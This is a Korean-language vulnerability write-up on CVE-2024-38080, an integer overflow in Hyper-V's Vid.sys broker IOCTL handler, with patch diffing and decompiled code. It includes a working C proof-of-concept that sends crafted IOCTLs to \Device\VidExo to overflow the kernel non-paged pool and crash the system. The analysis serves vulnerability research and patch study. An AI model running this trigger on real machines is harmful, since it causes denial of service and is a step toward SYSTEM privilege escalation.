[Research] Hyper-V 1-day Class: CVE-2024-38080

Introduction

안녕하세요, pwndorei입니다. 오랜만에 Hyper-V 연구글로 돌아왔습니다! 요즘 연구글 업로드 주기가 좀 수상할 정도로 짧아졌죠? ㅋㅋㅋㅋㅋ 제가 열심히 하고 있다는 증거랍니다..

이번 연구글은 제목처럼 CVE-2024-38080의 분석 및 poc 코드 작성입니다! 앞으로는 Hyper-V 1-day Class라는 시리즈로 Patch Tuesday마다 올라오는 Hyper-V 취약점 연구글이 올라올겁니다 ㅋㅋㅋㅋㅋ

이번 취약점은 7월에 공개되었고 진작에 분석은 다 끝났었는데 익스플로잇 해보겠다고 삽질을 좀 많이 했습니다 ㅋㅋㅋㅋ 실력을 더 키워서 다음에는 꼭 익스플로잇 코드까지 짜보고 싶네요!… 그럼 재밌게 읽어주십쇼!

CVE-2024-38080

Affected Product & Version Infomation

  • Windows 11 21H2
    • < 10.0.22000.3079
  • Windows 11 22H2
    • < 10.0.22621.3880
  • Windows 11 23H2
    • < 10.0.22631.3880

Description

CVE-2024-38080은 Hyper-V에서 발생한 EoP 취약점으로 이를 성공적으로 익스플로잇할 경우 SYSTEM 권한을 얻는 것이 가능합니다.

또한 공개되었을 당시에는 이미 악용 사례가 보고되어 CISA의 Known Exploited Vulnerability Catalog에 등록되기도 한 심각한 취약점이었습니다.

Patch Diffing

Windows 11 22H2 환경에서 2024년 6월(KB5039212)과 CVE-2024-38080이 패치된 2024년 7월(KB5040442)의 패치로부터 Patch-V를 사용해서 Hyper-V와 관련된 바이너리들의 패치를 진행, SYSTEM 권한 획득이 가능한 EoP 취약점이기 때문에 커널 드라이버(.sys)위주로 먼저 Diffing했습니다.

Vulnerability

patch diffing 결과, 아래의 Vid!VidExoBrokerIoctlReceive 함수에서 Integer Overflow 취약점이 발생하는 것을 알 수 있었습니다.

VidExoBrokerIoctlReceive (Vid.sys 10.0.22621.3672)

__int64 __fastcall VidExoBrokerIoctlReceive(
        __int64 VidExoObj,
        struct _LIST_ENTRY *a2,
        BrokerIrpDataHeader *Dest,
        unsigned int OutputLen,
        unsigned int *a5)
{
  ...

  ReceivedIRP = (_IRP *)VidExoBrokerpFindAndDequeueSendIrpForFileObject(VidExoObj, a2);//[1] Sent by VidExoBrokerIoctlSend
  v9 = ReceivedIRP;
  if ( !ReceivedIRP )
  {
    ...
  }
  Source = (BrokerIrpDataHeader *)ReceivedIRP->AssociatedIrp.SystemBuffer;
  if ( OutputLen < 0x10 )
  {
    VidExoBrokerpQueueSendIrp(VidExoObj, (__int64)ReceivedIRP);
    v10 = -1073741306;
    VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 198);
    goto LABEL_16;
  }
  Dest->HeaderSize = 16;
  Dest->NumHandles = Source->NumHandles;
  v12 = 8 * Source->NumHandles + 16;//[2] Integer Overflow
  Dest->DataOffset = v12;
  Dest->DataLen = Source->DataLen;
  v13 = Source->DataLen + v12;//[3] Integer Overflow
  if ( OutputLen < v13 )//[4] Bypass length check
  {
    ...
  }
  RequestorProcess = IoGetRequestorProcess(ReceivedIRP);
  v26 = RequestorProcess;
  CurrentProcess = PsGetCurrentProcess(v16, v15, v17, v18);
  v27 = CurrentProcess;
  TargetHandle = (HANDLE *)((char *)Dest + (unsigned int)Dest->HeaderSize);
  SourceHandle = (HANDLE *)((char *)Source + (unsigned int)Source->HeaderSize);
  v25 = SourceHandle;
  Idx = 0i64;
  while ( 1 )
  {
    if ( (unsigned int)Idx >= Source->NumHandles )
    {
      memmove(
        (char *)Dest + (unsigned int)Dest->DataOffset,
        (char *)Source + (unsigned int)Source->DataOffset,
        (unsigned int)Source->DataLen);//[5] Non paged pool BOF
      v10 = 0;
      *a5 = v13;
      goto LABEL_15;
    }
    LOBYTE(v24) = 1;
    v10 = ObDuplicateObject(RequestorProcess, SourceHandle[Idx], CurrentProcess, &TargetHandle[Idx], 0, 0, 10, v24);//[6] Non paged pool OOB Write
    if ( v10 < 0 )
      break;
    SourceHandle = v25;
    Idx = (unsigned int)(Idx + 1);
    RequestorProcess = v26;
    CurrentProcess = v27;
  }
  while ( (_DWORD)Idx )
  {
    LODWORD(Idx) = Idx - 1;
    ZwClose(TargetHandle[(unsigned int)Idx]);
  }
  VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 261);
LABEL_15:
  v9->IoStatus.Status = v10;
  IofCompleteRequest(v9, 0);
  if ( v10 < 0 )
    goto LABEL_16;
  return (unsigned int)v10;
}

이 함수는 이름처럼 Ioctl을 Receive하는 역할을 합니다. 먼저 [1]을 보면 VidExoBrokerpFindAndDequeueSendIrpForFileObject 함수가 호출되어 IRP(I/O Request Packet)를 가져옵니다. 가져오는 IRP는 VidExoBrokerIoctlSend 함수를 통해 보내진 IRP입니다. 따라서 이후 참조되는 ReceivedIRP->AssociatedIrp.SystemBuffer에는 공격자가 컨트롤할 수 있는 데이터가 저장되어 있습니다.

함수의 전체적인 동작을 리버싱해본 결과 VidExoBrokerIoctlSend로 보내진 IRP(위 코드의 ReceivedIRP)의 SystemBuffer(Source)에 저장된 데이터를 VidExoBrokerIoctlReceiveIRP->AssociatedIrp.SystemBuffer(Dest)로 복사한다는 것을 알 수 있었고 SystemBuffer에 저장된 데이터는 아래와 같이 추측할 수 있었습니다.

struct BrokerIrpDataHeader{
	DWORD HeaderSize;//0x10
	DWORD NumHandles;
	DWORD DataOffset;
	DWORD DataLen;
}
Low |----------|----------|----------|----------|---------- ... ----------|---------- ... ----------| High
     HeaderSize NumHandles DataOffset DataLen    `NumHandles` sized        `DataLen` bytes of Data
                                                 HANDLE Array

데이터의 맨 앞부분에는 0x10 바이트의 헤더가 존재하며 헤더의 뒷부분에 저장된 데이터의 길이, 오프셋 등의 정보를 담고 있습니다.

  • HeaderSize: 항상 0x10
  • NumHandles: 헤더 뒷 부분에 저장된 HANDLE 배열에 저장된 HANDLE의 수
  • DataOffset: HANDLE 배열이 끝나고 Data가 위치한 오프셋을 나타내는 값
  • DataLen: 데이터의 길이

취약점은 헤더의 필드를 통해 데이터의 총 길이를 계산하는 과정에서 발생합니다. 먼저 [2]에서는 SourceNumHandles * 8에 + 0x10(HeaderSize)를 하면서 헤더부터 HANDLE 배열까지의 크기를 계산해서 v12에 저장합니다. 이때 NumHandle의 값이 0x1ffffffe 이상이라면 Integer Overflow가 발생하게 됩니다. 또한 [3]에서는 [2]로 계산된 값에 DataLen을 더하게 되는데 이때도 Integer Overflow가 발생할 수 있습니다.

Integer Overflow의 결과, Source의 총 길이(v13)이 실제 데이터의 길이보다 작은 값이 되고 Dest의 크기인 OutputLen보다 작아지게 되면서 Source의 크기가 Dest의 크기(OutputLen)보다 크지 않은지 검사하는 if문을 통과할 수 있습니다. 이후 비정상적으로 큰 SourceDataLenNumHandles에 의해 각각 [5]의 memmove에서 buffer overflow를, [6]의 ObDuplicateObject에서 OOB Write를 유발합니다.

Proof-of-Concept

poc 코드에서는 VidExoBrokerIoctlSendVidExoBrokerIoctlReceive 함수를 호출해서 취약점을 트리거하고 커널의 Non paged pool에서 대량의 overflow를 일으켜 BSOD를 발생시킵니다.

이 함수들은 모두 Hyper-V의 Vid(Virtualization Infrastructure Driver)의 Exo Partition 관리 기능과 연관되어 있고 유저모드 프로세스에서 \Device\VidExo 디바이스 핸들로 호출하는 DeviceIoControl를 통해 호출됩니다. \Device\VIdExo의 Ioctl Handler를 보면 아래와 같이 각 함수의 IoControlCode를 확인할 수 있습니다.

__int64 __fastcall VidExoIoControlPartition(
        struct _KDPC *VidExoObj,
        _IRP *irp,
        struct _LIST_ENTRY *FileObj,
        unsigned int *InputBuffer,
        unsigned int InputLen,
        unsigned int **OutputBuffer,
        unsigned int OutputLen,
        unsigned int IoControlCode,
        unsigned int *a9)
{
  __int64 result; // rax
  unsigned int v11; // ecx

  *a9 = 0;
  if ( IoControlCode > 0x221198 )
  {
    switch ( IoControlCode )
    {
      ...
      case 0x221288u:
        if ( InputLen < 0x10 )
          goto LABEL_25;
        result = VidExoBrokerIoctlSend((__int64)VidExoObj, irp, (BrokerIrpDataHeader *)InputBuffer, InputLen);
        break;
      case 0x22128Cu:
        if ( OutputLen < 0x10 )
LABEL_25:
          result = 0xC000000Di64;
        else
          result = VidExoBrokerIoctlReceive(
                     (__int64)VidExoObj,
                     FileObj,
                     (BrokerIrpDataHeader *)OutputBuffer,
                     OutputLen,
                     a9);
        break;
      default:
        goto LABEL_6;
    }
  }
  ...
  return result;
}

아래는 WHVP(Windows Hypervisor Platform) API를 사용해서 \Device\VidExo 디바이스의 핸들을 얻는 코드입니다.

WHV_PARTITION_HANDLE prtn;
WHV_CAPABILITY cap;
unsigned int size, val;

WHvGetCapability(WHvCapabilityCodeHypervisorPresent, &cap, sizeof(cap), &size);

if (cap.HypervisorPresent == 0)
{
	printf("Hypervisor is not present\n");
	return -1;
}

WHvCreatePartition(&prtn);

val = 1;//processor cnt
WHvSetPartitionProperty(prtn, WHvPartitionPropertyCodeProcessorCount, &val, sizeof(val));

WHvSetupPartition(prtn);

VidExo = (HANDLE)(*((__int64*)prtn + 1) & 0xfffffffffffffffe);//obtain HANDLE of \Device\VidExo

Exo Partition과 VidExo에 대한 더 자세한 내용은 이전에 다룬 CVE-2023-36407의 분석을 참고해주시기 바랍니다.

이후 아래와 같이 VidExoBrokerIoctlSend를 호출합니다.

DWORD NumHandles, DataLen;
DataLen = 0xfffff000;//[1]
NumHandles = (0x100000000 - 0x10 - DataLen) / sizeof(HANDLE);

DWORD64* payload = VirtualAlloc(//[2]
	NULL,
	INPUT_LEN,//0xfffff000
	MEM_RESERVE | MEM_COMMIT,
	PAGE_READWRITE
);

if (payload == NULL) {
	printf("VirtualAlloc Failed(%x)\n", GetLastError());
	WHvDeletePartition(prtn);
	return -1;
}

BrokerIrpDataHeader* hdr = payload;
HANDLE proc = GetCurrentProcess();
PHANDLE p = &hdr[1];

hdr->HeaderSize = 0x10;//[3]
hdr->NumHandles = NumHandles;
hdr->DataLen = DataLen;
hdr->DataOffset = 0x0;

for (DWORD i = 0; i < NumHandles; i++) {
	*p = proc;
	p++;
}

CreateThread(
	NULL,
	0,
	Receive,
	NULL,
	0,
	NULL
);

if (!DeviceIoControl(VidExo, SEND_IOCTL, payload, INPUT_LEN, NULL, 0, NULL, NULL)) {//[5]
	printf("DeviceIoControl(SEND_IOCTL) Failed(%x)\n", GetLastError());
	goto CLEAN;
}

위 코드에서는 먼저 DataLen을 0xfffff000으로 설정하고 Integer Overflow가 발생하도록 계산된 값으로 NumHandles를 초기화합니다([1]). 이후 VidExoBrokerIoctlSend의 인풋으로 사용될 버퍼를 VirtualAlloc으로 할당합니다([2]).

정해진 값들로 헤더를 초기화하고 NumHandles 만큼의 핸들 배열을 현재 프로세스의 핸들(proc)로 초기화합니다([3]). 이는 VidExoBrokerIoctlReceive에서 모든 핸들이 성공적으로 복제된 다음에 memmove 함수가 호출되기 때문에 반드시 유효한 핸들이어야 합니다.

이후 [5]에서 DeviceIoControl을 호출해서 VidExoBrokerIoctlSend 함수를 호출합니다. 이때의 DeviceIoControl 호출은 VidExoBrokerIoctlSend로 보내진 IRP가 VidExoBrokerIoctlReceive로 수신될 때까지 반환하지 않기 때문에 [4]에서 CreateThreadVidExoBrokerIoctlReceive를 호출할 새로운 스레드를 생성합니다.

생성된 스레드가 호출하는 Receive 함수는 아래와 같습니다.

DWORD WINAPI Receive() {

	char buf[0x20];
	Sleep(2000);

	if (!DeviceIoControl(VidExo, RECV_IOCTL, NULL, 0, buf, 0x20, NULL, NULL)) {
		printf("RECV_IOCTL failed(%x)\n", GetLastError());
	}

	return 0;
}

Patch

패치는 아래와 같이 연산 과정 중간에서 Integer Overflow를 검사하는 것으로 이루어졌습니다.

VidExoBrokerIoctlReceive (Vid.sys 10.0.22621.3880)

__int64 __fastcall VidExoBrokerIoctlReceive(
        __int64 VidExoObj,
        __int64 a2,
        BrokerIrpDataHeader *Dest,
        unsigned int OuputLen,
        unsigned int *a5)
{
	...
  v30 = 0;
  v7 = VidExoObj;
  ReceivedIRP = (IRP *)VidExoBrokerpFindAndDequeueSendIrpForFileObject(VidExoObj, a2);
  v9 = ReceivedIRP;
  if ( !ReceivedIRP )
  {
    ...
  }
  Source = (BrokerIrpDataHeader *)ReceivedIRP->AssociatedIrp.SystemBuffer;
  if ( OuputLen < 0x10 )
  {
    ...
  }
  Dest->HeaderSize = 16;
  Dest->NumHandles = Source->NumHandles;
  IsEnabledDeviceUsage = Feature_2871081274__private_IsEnabledDeviceUsage();
  NumHandles = Source->NumHandles;
  if ( IsEnabledDeviceUsage )
  {
    v15 = 8i64 * NumHandles;
    if ( v15 > 0xFFFFFFFF || (v16 = v15 + 16, (unsigned int)v15 >= 0xFFFFFFF0) )//[1] Integer Overflow Check
    {
      v10 = -1073741306;
      VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 220);
      goto LABEL_25;
    }
    Dest->DataOffset = v16;
    Dest->DataLen = Source->DataLen;
    TotalLength = v16 + Source->DataLen;
    if ( TotalLength < v16 )                    //[2] Integer Overflow Check
    {
      v10 = -1073741306;
      VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 230);
      goto LABEL_25;
    }
  }
  ...
}

Demo